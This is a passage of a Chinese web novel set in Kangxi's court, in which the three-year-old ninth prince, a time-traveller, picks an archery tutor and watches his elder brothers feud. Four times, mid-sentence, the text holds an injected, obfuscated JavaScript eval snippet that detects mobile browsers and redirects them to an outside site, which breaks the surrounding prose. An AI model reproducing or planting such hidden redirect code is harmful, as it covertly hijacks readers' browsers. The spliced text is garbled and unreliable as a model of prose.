胤褆语气轻蔑地高声道:“这里是骑马射箭的地方,没用的东西本来就不该来。” “你!”胤祺拳头已经举了起来。 胤褆毫不示弱地扬了扬拳头:“你打得过我吗?” 周边一圈太监、谙达围了上来,准备时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405622|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻拉架。 快被气炸了的胤祺,忽然觉得有人在拉他的衣服。 他低头一看,是胤禟两只小手扯着他,对他笑眯眯道:“五哥,谢谢你!不过今天我是来选谙达的,五哥要是和他打架,就不能帮我选谙达了,我们不理他好不好?” 这不就是典中典的校园霸凌么。胤禟知道,对追求以取乐为目的的霸凌者,相比暴力回击,对他们的行为无动于衷,让他们的期待落空,才是最有力地反击。 听着小团子奶乎乎的话,胤祺火气一下子降了下来。对,不能耽误九弟选谙达的事。 胤祺瞪了一眼胤褆:“今日我九弟有正事,下次你敢再欺负他,我们就试试看谁厉害!”说着,拉着胤禟便走。 胤褆嗤笑一声,目光看向胤禟。想要从他脸上看出些什么情绪来。恶作剧么,当事人的反应才是最有趣的。 方才骑马时没注意看,刚刚胤祺又把他挡在身后,两人往前走时,胤褆才看清楚了自己恶作剧的对象。 一个粉团子似的小孩儿,个头比马膝盖高不了多少,小脸白净,眉清目秀,比女娃娃还要秀气几分。 不知道为什么,虽然这小东西显而易见地战斗力弱爆了,胤褆看他这副模样,竟然头一回对自己方才以大欺小的行为感到一阵心虚。 他摇摇头,驱散这没来由的情绪,试图从小团子脸上看到令他期待的气愤神色。这么一个软乎乎的小东西,生气起来一定像个气包子,肯定好玩极了。 但令他失望的是,小粉团子面无表情,自始至终,连看都没看他一眼。 胤褆还是头一回遇到这种情况。只觉得自己全力挥出的拳头,打在了一团棉花上,空落落地没有着落,浑身都不得劲。 胤禟目不斜视,小手拉着胤祺,往前走去。 他一眼就看见了胤禛,他身后有个瘦瘦的国字脸小太监,手中端着一个铜盆,盆沿搭着一块帕子。 在胤禛身侧,停着一匹通体骝色、体格高大的骏马,即使胤禟不懂马,却也能看出是一匹上好的宝马。 马蹬上踩着一双黛色长靴,靴沿垂着一片杏黄色衣摆,顺着衣摆朝上望去,只见一人身姿挺拔如山间松竹,俏然地坐在马上,面含春风若冠玉,鬓染墨色如刀裁。面孔虽然还未脱稚气,但眉宇隐约之间,已有帝王的矜贵气象。 他看见胤禟望向自己,朱红的唇微微一绽,笑道:“九弟好。” 8. 第 8 章 即便很多年以后,哪怕康熙的面容在回忆中都有些模糊,胤禟仍然能够清晰地想起,他初见胤礽的模样。 好一个少年儿郎。峻如修竹,皎若悬月,丰唇带笑,美目微冷。 明明是明月独照的高岭之花,日后却零落成泥碾作尘。 胤禟立在马前,仰着脖子看着马上之人。心中早就将他“两立两废、幽禁以终”的后半生翻来覆去地念了几遍。 实在是这对君臣父子的关系过于复杂,让包括他在内的无数后人不解,究竟为什么,这样丰神俊逸的天之骄子,会落得父子相隙的下场? 书中读到的历史形象不免于单薄,而当真正的被叙述者站在面前,对历史阅读者来说,情感上的冲击是巨大的。 胤禟怔怔站在原地,心中诸念杂生,一时竟然不知作何反应。 胤礽坐在马上,居高临下地看着面前的小粉团子。 一张脸小小的,还没有自己巴掌大。身量也小小的,仿佛一只手就能提起来。唯有一双眼睛星子般大而明亮,此刻瞬也不瞬地盯着自己。 按理说以前自己应该也是见过他的,不过没太多印象了,他也确实不大关注汗阿玛那些个儿子们。 小团子长得倒是可爱,就是有点呆呆的。胤礽心想,不愧是郭络罗氏的儿子,天生一副惹人喜爱的模样。昨儿就听说汗阿玛赏了他来选谙达,没料到今日便撞见了。 想到这里,他不由得再次上下打量了一番眼前的小东西。 按照规矩,应当是胤禟先向他行礼问好,但看这小家伙呆呆愣愣的模样,大概是不懂规矩的。 胤礽想着,便很有风度地先喊了九弟。 胤禟被他这么一叫,终于回过神来,赶忙行礼。 胤礽颔首,算是受了这一礼。之后也不再看他,驱马走向自己的箭靶。 胤禟注视着胤礽的背影,心里由衷感叹,不愧是太子,虽然才十三岁,举手投足间都是矜贵之气。 正感慨着,余光瞥见胤禛领着小太监走了过来。 “四哥!”胤禟朝胤禛龇牙一笑,露出一排光洁的小白牙,小手在胸前比划着:“昨天你帮我捉的蚂蚁,我用一个大盒子养起来啦!” “咳。”胤禛小脸一红,赶紧转头看了看四周,确认没有被其他人听见这话。他都八岁了,要是这话传到胤褆耳朵里,定然要被好好取笑一番。 苏培盛端着铜盆上前两步,宝福立即会意,小步上前挽起袖子,将帕子浸湿、扭干,替胤禟擦去脸上头上沾染的尘土。 胤禟向胤禛和苏培盛道了谢,又问:“四哥、五哥,在哪里选谙达呀?” 来的路上,他提前问了宝福,但不仅是宝福,此前整个紫禁城,也都没有小阿哥自己挑谙达的先例,只能见机行事。他方才已经粗粗看了一圈,并没有发现什么“谙达挑选办事处”之类的地方,想来应该有约定俗成的规矩。 胤祺伸手一指殿前的空地,笑道:“这里除了阿哥、太监,就是谙达,九弟看中了哪个,直接告诉我,我带你去跟主事的谙达说。” 胤禟仔细辨认,看见殿前空地的射靶之间,有数人身手矫健地驾马来回穿梭,还有几人跟在胤礽或胤褆身侧,不时抬起弓作示范,射出去的箭都是又稳又准。 进入上书房,开始正式学习骑射的皇子,往往会有数个谙达教导。但是对胤禟这种三岁小娃娃,只需由一位谙达负责启蒙便可。 胤禟不由得在心里琢磨起来。 他向康熙提出,想要学习射箭,无非是为了岔开康熙想要早早开始鸡他汉文的危险想法,又不是真的打算从小练好童子功,长大跟老父亲和哥哥们上阵杀敌去。 所以选择一个好谙达,直接关系他未来几年生活的幸福指数。 教小孩儿么,骑射功夫不要求最好,但是性子要豁达一些、淡然一些、平和一些,对小孩儿有爱心、有耐心、有包容心。 倒不是什么儿童发展心理学的理论指导,主要是为了方便他日后当好一条咸鱼。 为了观察得更加仔细,胤禟转头对在一旁等他的胤禛、胤祺道:“四哥、五哥,你们不用等我,快去练习吧,我看好了来叫你们!” 胤禛还想说些什么,看胤祺朝自己摆手。 胤禟这话,胤祺一听就明白了。九弟打小心眼子就多,这是想不被人打扰,给他们找的托词呢。 胤禛见状也心下了然,两人叮嘱再三,才各自去旁边练箭。 胤禟开始细细打量场上的备选者们。 首先跟在几位阿哥身边指导的人,是绝对不能碰的。一来君子不夺人所好,二来他也抢不过,三来万一这谙达记恨自己断了他抱大腿的前程,自己免不了被公报私仇。 再看那些自由练习的谙达。 嗯,太年轻的不要。年轻人心气高,动不动卷生卷死,万一想做出点教学成果以谋取加官进爵,恐怕等待自己的将是魔鬼训练。 功夫太好的也不要。功夫太好的不该他霍霍,就留给胤褆、胤祺这些日后要上阵杀敌的哥哥们罢。 总之,要找个年纪偏大、业务水平一般、面相和善的。 胤禟在内心给未来谙达画了个像,比照着在场上挑选。 忽然,他看见射殿前的石阶上坐着一个人,两条长腿随意搭在石阶上,身子歪歪斜斜,很没有坐相的样子。 他心中一喜,赶忙走到石阶前,仰头仔细观察。 男人五十岁上下,相貌英俊,皮肤白皙,衣着考究,身形懒散,看起来不像个会吃苦的。 胤禟觉得,别的可能带有主观性,但至少年纪偏大这一条,是肯定满足的。 男人也看见了胤禟瞅他,笑眯眯问:“小阿哥,这样看我,是有何事?” 嗯,说话先带三分笑,想来脾气应该也不错。 胤禟眨巴眨巴眼睛,问:“老师傅,您骑射功夫怎样?” 男人笑道:“一般。” 年纪偏大、性格和蔼、功夫一般,三样全中。 胤禟大喜。 “老师傅,您愿意做我的谙达吗?” 阿舒默尔根低头看着立在石阶下的小豆丁。 小家伙长得粉雕玉琢,像从糯米粉里刚打滚上来的小团子。说起话来倒是爽爽利利,毫不扭捏,合他的胃口。 他已经很久没有正经给别人当过老师了。 皇帝的骑射早已超过了他,虽然仍留他教导阿哥们,但也是指点考校的多,手把手教的少。昨日康熙下午来的时候,随意提了一嘴,九阿哥今日回来选谙达,着他上心些,却没想到这一挑,居然挑中了自己。 说实话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405623|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小粉团子的话令他有点动心,也有些技痒。 阿舒默尔根眯着眼睛来回打量着胤禟。 别说,这小家伙和皇帝小时候有几分相像,瘦瘦小小,一双眼睛亮晶晶的,直视人的时候,让人几乎说不出拒绝的话。不过模样倒是比皇帝小时候可爱多了,白白嫩嫩,像一个糯叽叽的小团子。 阿舒默尔根侧头微微看了一眼射殿内,一角明黄的衣摆隐在殿内的阴影中。 若不是皇帝来了,他高低得捏两把这孩子的小脸蛋。 康熙对皇子们骑射极为重视,只要无事,每日都会来射殿,考校阿哥们骑射功夫。当然,在阿舒默尔根看来,康熙考校儿子们是假,自己心痒骑马射箭是真。 许是前朝无事,今日皇帝来得比平日更早些,就在小粉团子找上门来的时候。如今故意躲在殿内不出来,也不知道又在打什么主意。 阿舒默尔根在心底暗自好笑,决定逗逗这对父子。 胤禟见老师傅半天没说话,知道他是在考虑,便立在阶下,模样乖巧地等着。过了片刻,见老师傅扬了扬眉,身子朝前微微倾斜,朝他似笑非笑道:“小阿哥,我若是不愿呢?” 康熙听见殿外这话,忍不住低笑了一声。 今儿朝事议得快,他比平日来的要早些。左右无事,皇子们才刚训练没多久,他便在射殿里坐了会儿,没承想正碰见小东西来选谙达。 他心下有些好奇,便悄悄等着,想看看这小团子到底会选个怎样的师傅。所谓一物降一物,希望这个谙达能够管束管束他,免得哪日真把翊坤宫的屋顶给揭了。 康熙好整以暇地等着,没想到,胤禟竟然选中了自己以前的谙达。 这小东西果然有眼光。不过阿舒默尔根谙达是什么人,他康熙可是最清楚不过。以前年轻的时候,素有铁血之称,教起人来,管你是不是皇帝,没射中就继续练到射中为止。 有时候训起人来狠了,那叫一个劈头盖脸。 他小时候被骂了,可没少躲在被子里偷偷地哭。 这小粉团子居然想找阿舒默尔根做谙达?看起来就一副吃不得苦的模样,阿舒默尔根定然是不肯的。 不过仔细想想,让阿舒默尔根教教这小东西,也未尝不可。 等小团子被阿舒默尔根凶得受不了,自己再来好言安慰一番,顺便将自己当年刻苦练箭的事情提一提,给这孩子当个榜样。 康熙发现自己居然还有点期待胤禟拜师的后续。 根据这三年在宫里的经验,胤禟以为选谙达就和选宫女、太监差不多,看中了说一声就行,没想到还会被拒绝。 不过他毕竟是现代思维,觉着拜师教徒这件事,确实得是双向奔赴,不然这位老师傅真不愿教他,未来相处也难愉快,因此心下倒也不觉得此人言辞放肆。 但俗话说,过了这个村、就没这个店,这人年纪不小,万一哪天告老还乡了,他再去哪里找他当谙达?况且康熙让他今天来选,今日便得选定,这满场的谙达里,他可是最合适的人选。 胤禟想了想,决定再试一下。 虽然老师傅嘴上说着不答应,但唇带微笑、身体前倾、眉毛上挑,从他的语气、表情和动作中,胤禟根据专业判断,自己赢面还是很大的。 只是,还需要再烧一把火。 9. 第 9 章 胤祺虽在练习射箭,但是心思都在自己九弟身上。 也不知道九弟找没找到中意的谙达?那个谙达靠不靠得住?胤祺满脑袋都想得这些,压根没有心思射箭,连射几箭都离靶心偏了一寸。 他干脆放下弓箭,扭头去寻胤禟的小身影。 然后他就看见,小粉团子弟弟站在射殿石阶下,石阶上,懒散坐着的,是汗阿玛的阿舒默尔根谙达。 胤祺:…… 他连忙将弓箭递给身侧的谙达,急急走向射殿。 胤禛看见胤祺朝射殿方向走过去,目光顺着一看,看见胤禟正仰着小脑袋和阿舒默尔根说话,手里一抖,放出的箭脱了靶,堪堪擦着旁边小太监的帽子飞出去,把小太监吓得一屁股坐在地上。 方才就该嘱咐九弟,千万不要被这家伙的外表给骗了。他最开始来射殿的时候,也以为这位看起来闲散的谙达是个好说话的,结果让他们训练起来居然是最狠的。偏偏他还是汗阿玛的谙达,身份上还能压他们一头,连胤褆和太子都得乖乖听话。 胤禛觉得,这大概就是羊入虎口的具象化,在心里默默为胤禟未来的日子提前哀悼了一番。 阿舒默尔根坐在石阶上,好整以暇地看着胤禟。 这小家伙,听了自己这么不给面子的话,是会尴尬地离开,还是忍不住哭鼻子? 嗨,如果真哭鼻子了,自己正好就坡下驴。要是皇帝问起来,就说是为了安慰他,才收他为徒的。 阿舒默尔根正美滋滋地想着,忽地看见小粉团子朝他龇牙一笑,两只小手提着衣摆,直奔他而来。 他还没反应过来,小粉团子已经一把挽住了他的左臂,黑葡萄似的眼睛睁得溜圆,唇角往下耷拉着,让他想起他的小外孙从草原上捡来的那只可怜兮兮地小狗狗。 小粉团子一边摇晃他的手臂,一边奶声奶气又可怜巴巴地说:“我就看您最有眼缘了,您就当我的谙达,行不行嘛。” 毕竟,我的咸鱼大计可就指望您了。 阿舒默尔根瞅了一眼殿内,皇帝还挺沉得住气,一点儿动静都没有。他继续按兵不动,任由胤禟摇晃手臂。 只是他按不下的唇角已经暴露了内心的狂喜。 大概是他真的老了。特别是当了外公后,他对小猫小狗小孩子这种可爱的生物根本没有抵抗力。要知道,他年轻可是可以徒手打死老虎的巴图鲁。 可偏偏他膝下就一个女儿,还被个蒙古小子骗走了,现在随夫家定居在蒙古,小外孙一年都难得抱上一次。 每次看着同仁们交流教育小孙子、小孙女的心得,自己心里都猫抓似的痒痒。 眼下,就有一个小粉团子自己送上门来! 虽然是个小皇子,但是宫人抱得,他就抱不得了? 而且,小粉团子也太可爱了吧!身上甜甜香香的,就像一块奶乌他[1]!若不是顾着皇帝的意思,自己现在就一口答应了!我的小可爱徒弟啊啊啊! 对阿舒默尔根心理活动一无所知的康熙,在殿内有些得意地看着小粉团子卖力地撒娇,心想:阿舒默尔根谙达可没有朕这么好讲话,碰硬钉子了吧?那可是朕的谙达,没这么容易请得动。 转念又一想,照这孩子的性子,若是阿舒默尔根再说出什么拒绝的话,没准该眼圈红红地要哭了。算了算了,若是阿舒默尔根还是不肯,便由朕出面请他好了。 康熙正在犹豫要不要现身,只听殿外小粉团子甜甜地道:“老师傅,我会做很多好吃的,还有姜汁撞奶,汗阿玛吃了都说好。你收了我,以后我天天给你做好吃的!” “噗嗤”,康熙刚喝进去的一口茶全喷了出来。 好嘛,没见过卖阿玛求荣这么利索的。 康熙接过梁九功手里的帕子擦了擦脸,一边琢磨着,不行不行,这老小子再拿乔不答应,家都要被偷了。现在都答应给他做吃的了,一会儿还指不定会承诺什么。朕都只吃过姜汁撞奶,凭什么让小九天天做吃的给这老小子,教他占这么大的便宜? “咳”。殿内传来一声咳嗽,低得只有阿舒默尔根听得清楚。这便算是皇帝点头同意了。 阿舒默尔根强自忍住笑意,趁机伸手捏了捏胤禟肉乎乎的小脸蛋,道:“行吧。” “好不好嘛,好不好嘛……”胤禟还在卖力撒娇,冷不丁被老师傅伸手掐了把脸,又听见他同意了,愣了愣才反应过来,拍手笑道:“太好了!” 他这会终于想起了四哥、五哥,抬头去寻两人,却见胤禛和胤祺已经并肩在石阶下站着,神色古怪地看着自己。 看来四哥五哥是觉得谙达年纪大了些。回头自己私下和他们解释一下,免得当面说起年纪,伤了老师傅的心,胤禟想。 他牵着阿舒默尔根的手,走下石阶,向两个哥哥大声介绍:“四哥、五哥,这是我的谙达!” “已经选好了?”胤祺的脸上难得透露出惊恐。 胤禟觉得五哥有些奇怪,但还是开心地点点头:“谙达已经同意教我了。” 胤禛扶了扶额头。 说话间,胤禟才想起来,还没有问谙达的名字。他挠挠头,不好意思地问:“谙达,方才太高兴了,还没顾得上问,您叫什么名字呀?” 阿舒默尔根笑眯眯地看着自己的小徒弟,道:“阿舒默尔根。” “哦,阿舒默尔根谙达!”胤禟也笑嘻嘻唤他。 胤禛和胤祺交换了一个眼神,默默想着,希望在这位“铁血谙达”的教导下,过上三个月,九弟还能笑得这么开心。 四人站在殿前,身前身后都围了一圈太监、谙达,很是引人注目。胤礽余光瞥了一眼那圈人,而后双腿一夹马腹,稳稳射出最后一支箭,见箭蔟没入靶心,这才勒马悠悠转回。 他接过太监递上的帕子擦了擦汗,抬手招了个人过来,问了情况。 听着解释,胤礽不禁微微挑眉。这小家伙,人还没有马腿高,做事情胆子倒是挺大。 他驱马朝殿前走去。 “阿舒默尔根谙达。”胤礽下马问好。 胤禟有些疑惑地看向太子,太子这会子也太有礼貌了,对一个谙达还要下马行礼? 他心头隐约升起不好的预感。 几乎是前后脚,胤褆也驾马到了殿前。 他方才正在练习骑马连射,忽然看见胤礽驱马朝射殿走去,又见射殿前围了一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405624|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,虽然不知道发生了什么,但也赶紧驾马前去。 虽然他提前勒了马,但是马刹得急,难免蹄下扬起了些尘土。大人和大些的皇子没事,就是正巧洒了小豆丁胤禟一头一脸。 “呸呸”胤禟赶忙往外吐沙子。 胤褆跳下马,哈哈大笑道:“对不住九弟,忘了你个子不高,落了些沙在你身上。” “你!”胤祺忍不住出声,胤禛也捏紧了拳头,瞪着胤褆。 “怎么,”胤褆讥笑道:“你们俩想与我比试比试?” 两方僵持着,两位小阿哥不肯退一步,胤褆人高马大,当然也没把两个小家伙放在眼里。 忽然,两小只看见阿舒默尔根谙达朝他们摇了摇头,又眨了眨眼。 两小只顿悟,是了,胤禟可是有位辈份大的谙达。他们同时“哼”了一声,冷冷瞥了一眼胤褆,便不再理会他。这招,还是方才从胤禟那儿学的。 胤褆见他们不应招,果然觉得有些无趣。他只得转头,装作无事发生地问胤礽:“这是怎么了?” 他当然不愿和太子搭话,但是谁叫在场的阿哥,除了胤礽都被他现场得罪光了。 胤礽瞥他一眼,一脸看好戏的模样:“也没什么,就是九弟方才认了个谙达。” “哦,”胤褆哼了声:“我看大家都围过来,还以为是什么大事呢。既然没什么事,我继续练习去了,今天最好成绩靶心五连射,我要争取十连射。” 他这话是故意说给胤礽听的。 皇子中,胤礽与他年纪最为接近,他便不自觉将胤礽作为了比较对象,处处都想压他一头。 论读书,他是比胤礽差些,但是骑射却是所有皇子中最出色的。也因此,他更加发狠练习,想把太子甩得远远的,以向所有人证明,他胤褆不比太子差。 毕竟明珠叔姥爷常常在他面前提,自古都是“立长不立贤”,更何况他从小就英勇威武,才是储君该有的样子。 虽然他今日肯定达不到靶心是连射,但至少嘴上过过瘾,让大家都小瞧不了他。 果然,胤礽便抿唇不说话了。 毕竟他练习连射已久,最好成绩也不过才三连射。 胤褆见胤礽不说话,暗自高兴。他对这个小豆丁九弟选谙达可没兴趣,便朝阿舒默尔根点了点头,道:“我继续去练习了。” 他正要上马,听见阿舒默尔根慢悠悠道:“既然大皇子这般克己精进,那么今日不练到靶心十连射,便不要回去罢。” 胤褆变了脸色。 以往这位阿舒默尔根谙达,对皇子们训练是从严要求,但是今日自己不过戏言,怎么当真了?不过他以前是汗阿玛的谙达,这里的皇子们没人敢不听他的,胤褆也不例外,回嘴是不敢的。 不然,但凡阿舒默尔根在汗阿玛面前,轻飘飘点一声他胤褆的名字,就够他喝一壶的。 更何况,十连射是自己亲口说的,此时收回,岂不是让太子看了笑话?胤褆只得咬了牙应下,黑着脸骑马走了。 胤禟看着胤褆碰了个硬钉子、灰溜溜去练习的背影,忽然理解了为什么前世大家都喜欢看爽文。 因为,真的很爽啊。 10. 第 10 章 胤禟偷偷看了一眼阿舒默尔根,心想这老师傅人还怪好咧。 而且,那么跋扈的大阿哥都得乖乖听他的话,看起来像个厉害人物……胤禟觉得,自己可能不小心上了贼船。 阿舒默尔根发现胤禟在偷看自己,朝他挤了挤眼睛。 胤礽将一老一小的互动看在了眼里。 阿舒默尔根此人向来严厉,虽然对自己很是客气,但客气中也透着生疏。以前自己与胤褆也有过龃龉,但也没见他出言相助过,最多是各打二十大板,该干嘛干嘛去。但他与胤禟才刚刚达成师徒关系,就主动护着他。 凭什么? 自己是太子,难道不是所有人都该天然地拥戴自己、喜欢自己么?怎么会对一个才认识的小东西青眼有加? 胤礽觉得心间莫名有些烦躁。 他唇角不自觉抿起,视线看向牵着阿舒默尔根手的胤禟,美目微眯,长眉微微皱了一下,又很快恢复平静的表情。 胤禟察觉到了太子在看自己,下意识看过去时,将他脸上的微表情看得清清楚楚。 太子,这是嫉妒了? 虽然不明白为什么太子要嫉妒阿舒默尔根谙达护着自己,但胤禟并不想让太子对他产生敌意。 他思考着如何将太子这股子情绪揭过去,就听一道沉稳的声音从射殿内传来:“这么热闹,谁与朕说说,是怎么一回事?” 几位阿哥们原本正要散去,听见这道熟悉又令人敬畏的声音,不由得顿住脚步,面面相觑。 谁知道康熙来了多久,方才的情形是不是都落入了他的眼中? 胤禛、胤祺、胤禟瞬间老实,一字排在站在阶下迎驾。唯有胤礽不仅不畏惧,反而面露欢喜之色,大步跨上石阶,手牵住康熙的手,与他一同走下石阶,脸上是洋溢不住的得意之色,仿佛一个抢到了限定版玩具,正和同伴炫耀的孩子。 而康熙,也是面露笑意,看向胤礽时露出一副宠溺的表情。 胤禛、胤祺对此早已见怪不怪,习以为常。 胤禟却是头一回见这场面,忍不住“嘶”了一声。 胤礽今年已经十三岁了。 十三岁的男孩子,在古代,思维已经接近成人,从生理角度,也处于童年向青春期过渡的阶段。这个阶段,男孩子通常独立意识大大增强,希望与父亲成为平等的关系,而非还是孩童时期的依附关系。 反映到外在表现就是,大部分这个年纪的男孩子,会在公众场合刻意减少与父亲的牵手,转为更加“男子汉”“好哥儿们”的身体接触方式。 而且,在同龄人中,甚至可能会被diss为“爸宝男”。 就比如现在—— 胤褆听见动静,转身看见了康熙,赶紧下马前来。路过胤禟的时候,胤禟正巧听见他哼了一声,低声骂了句“切,十三岁还要牵汗阿玛的手,怕是没断奶呢”。 胤禟:…… 虽然也有安全感特别强的家庭,父子关系非常亲密,牵手只是正常表达感情的一种方式。但明眼人都能看出来,康熙和胤礽,显然不属于这一类。 当然,在他看来,康熙这模样,也不大正常。虽然现在还没搞清楚到底哪里不对就是了。 胤禟被这对父子情给予了一点小小的冲击,那日之后如何,他印象不深,只记得康熙亲自宣布,阿舒默尔根成为他的谙达。然后语重心长地叮嘱他,阿舒默尔根谙达是他从前的谙达,自己务必好好听话,认真学习。 …… 胤禟躺在院子里的摇椅上叹气。 他两条小胳膊一左一右摊开,两条腿架在一个小脚凳上,整个人软成了一滩半流动状物体。 莲珠给他捏着小胳膊,还有一个小太监替他捏腿。 自己当初合该提前问问四哥、五哥,场内有哪个谙达是万万不能选的。虽然他们不一定知道哪个符合自己的心意,但是不能选哪个肯定门儿清。 怎么他一选,就选到了阿舒默尔根谙达呢? 能当康熙这个卷王之王的谙达,果然也是一个卷王。 才第一节课,阿舒默尔根就拉着他练了整整两个时辰! 他只是一个三岁的孩子啊!这还让他怎么立咸鱼人设?! 难道,自己这条咸鱼之路,就要咸鱼未半而中道崩殂? 胤禟仰头盯着头顶的葡萄架,眼前浮现临走的时候,阿舒默尔根那张笑眯眯地脸:“虽然你汗阿玛小时候都是三个时辰练习起步,但你能练两个时辰已经不错啦!” 听听,听听这是什么话! 好像只练习两个时辰,还是他特地照顾了自己似的! 胤禟的小胳膊小腿当天就没了力气,第二天连床都爬不起来,吓得宜妃请了太医。 在太医传授的按摩和浴疗法子下,第三日胤禟总算能勉强自如行动,只是胳膊和腿酸得像在柠檬汁里腌了一个月。 爬树是不可能了,还是躺在树下吹吹风罢。 胤禟觉得,至少从物理意义上,自己现在挺像一只咸鱼的。 问题是,大皇子们每日都要练习骑射,小皇子们练习小弓,虽不至于每日,但也是每隔两日便要教习、检查一次。 也就是说,今天下午,他又要见到阿舒默尔根那张笑眯眯的脸了。 怪他自己,忘记了眯眯眼的都是怪物。 在胤禟一声连一声的哀叹中,宝福领着一个小太监来了。 小太监手里捧着一个不大不小的木箱子,来到胤禟跟前,恭恭敬敬地打开,露出里面一个不大不小的玻璃器皿。 胤禟一下子忘了浑身的酸痛,一骨碌坐了起来。 里面正是他前些日子画的观察箱。造办处玻璃厂总算在他把胤禛给他捉的蚂蚁养死之前,给造出来了。 虽然现在的技术还达不到观察箱中各种孔洞的一体化成型,但拼拼粘粘,也做得有了九成模样。 胤禟没学过也没了解过玻璃制造,自然也不打算和前世那些小说里的穿越者一样,靠这个赚钱甚至推动朝代迈入工业化。自己不会,也没必要难为别人,胤禟笑着点点头,算是完成了验收。 小太监明显舒了一口气。 还好这位九阿哥是个好说话的。不像宫里有些阿哥娘娘,交待了造办处做的东西,做出来一看不合心意,又不明说,就是翻来覆去地改东改西,故意折腾他们。九阿哥之前给了图纸,虽然画得抽象了点,但大致比例还是准确的。这东西烧制不算困难,里头的隔断、通道虽然麻烦些,但也就是多费两日功夫的事。要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405625|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小主子们都像九阿哥这样,那他们的日子就好过多了。 这么想着,小太监擦了擦额头的汗,跟着宝福出了翊坤宫。宝福回来时,便见九阿哥已经将那个玻璃盒取了出来,放在院子里的石桌上。此时他袖子撸得老高,手里捧着一个小陶罐,正要往玻璃盒里倒东西。 他赶忙上前帮忙,却被胤禟制止了。 他便只能在一旁小心照看着,免得小阿哥摔了碰了这些个瓶瓶罐罐,割伤到自己。 只见胤禟小心翼翼地将陶罐口倾斜,将罐口对准玻璃盒,一边轻拍陶罐底部,里面便有沙土哗哗倒了出来。 仔细一瞧,沙土里还有不少蚂蚁。 胤禟将蚂蚁转移到了观察箱,又随手捡了根小树枝,将土铺平整,欣赏了好一会儿完成状态的观察箱,见蚂蚁已经适应了,正在里头上上下下地爬动,这才心满意足地点了点头。 莲珠赶忙打来一盆水,给他洗干净手。 胤禟四下看了看,选定了院里一处背阴的角落,请宝福叫了几个小太监过来,把石桌搬过去,又叫莲珠取了些糕点,用手指碾碎,将碎屑洒在泥土表面。 果然,那些蚂蚁发现了食物,立即忙碌起来。 看蚂蚁这种事情,无论大人小孩,成·瘾·性极强。 胤禟正趴着看得起劲,门口一道大嗓门传来:“九哥,我来了!” 话音未落,一个小胖团子旋风般地跑了进来。 胤俄背上背着一把不足二尺的黑色小弓,后头还跟着几个气喘吁吁的太监。 胤俄跑到胤禟跟前,从背上摘下小弓,一把递给胤禟:“九哥,这是我额娘送你的!” 胤禟学习小弓,是临时定下的,内务府尚未提前制作,上回第一堂课,用的小弓还是从内库临时找的,材质普通,又重又不趁手。胤禟甚至怀疑,自己练习时手快举废了,大抵也有这贼重的小弓一半功劳。 他原本就琢磨着,是不是请宜妃帮自己寻把好些的,没想到瞌睡碰到了枕头。 他接过胤俄手里的小弓,只觉得既轻又韧。小弓通体用的是黑桦皮,弓背嵌了牛角薄片,以增强局部硬度。弓把缠了一层薄锦,弓弰装饰了银累丝云头,在阳光照射下反射着鎏银的光芒。 胤禟轻轻拨动弓弦,声音清脆,如檀板击玉。就算他不懂欣赏弓,也能分辨出是把上好的弓箭。 他心知这是钮钴禄氏对自己上回救了胤俄的谢礼,便笑嘻嘻地收下,道:“我很喜欢,替我回去谢谢贵妃娘娘。” 胤俄说了声“好”,目光落在胤禟身旁的观察箱上,“咦”了一声:“九哥,这是什么?” 胤禟咧嘴一笑:“觉得眼熟不?” 胤俄歪着小脑袋努力回想。 “九哥,我没想到。”胤俄有些沮丧地说。 胤禟稍稍让开身子,将胤俄拉到身边,指着观察箱道:“就是那天我画的观察箱,还记得吗?” “哎呀,”胤俄一拍圆乎乎的小脑袋:“记起来了记起来了。” 胤俄睁大眼睛,仔细看着面前这个透明的器皿。 里面不都是些泥巴吗?看不出有什么稀奇的。 忽然,他发现泥土表面有些白色、粉色的碎屑,那些碎屑居然还会自己移动。 11. 第 11 章 胤俄胖乎乎的小手揉了揉眼睛,不会是自己看花眼了吧?可是那些碎屑还在移动,有些甚至跑进了土里。 